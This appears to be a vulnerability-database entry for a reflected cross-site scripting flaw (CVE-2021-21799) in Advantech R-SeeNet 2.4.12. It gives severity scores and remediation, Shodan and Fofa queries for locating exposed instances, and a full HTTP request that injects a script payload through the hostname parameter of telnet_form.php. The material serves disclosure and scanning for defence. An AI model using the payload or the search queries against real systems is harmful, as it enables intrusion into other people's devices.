| Title | Advantech R-SeeNet 2.4.12 - Cross-Site Scripting |
|---|---|
| Author | arafatansari |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by Advantech to mitigate the XSS vulnerability in R-SeeNet 2.4.12. |
| CVSS Score | 6.1 |
| EPSS Score | 0.75907 |
| CVE ID | CVE-2021-21799 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"R-SeeNet"http.html:"r-seenet" |
| Fofa Query | body="r-seenet" |
| Tags | cve2021 cve xss r-seenet advantech vuln |
Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the telnet_form.php script functionality.
GET /php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21799.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21799.pcap
N/AN/A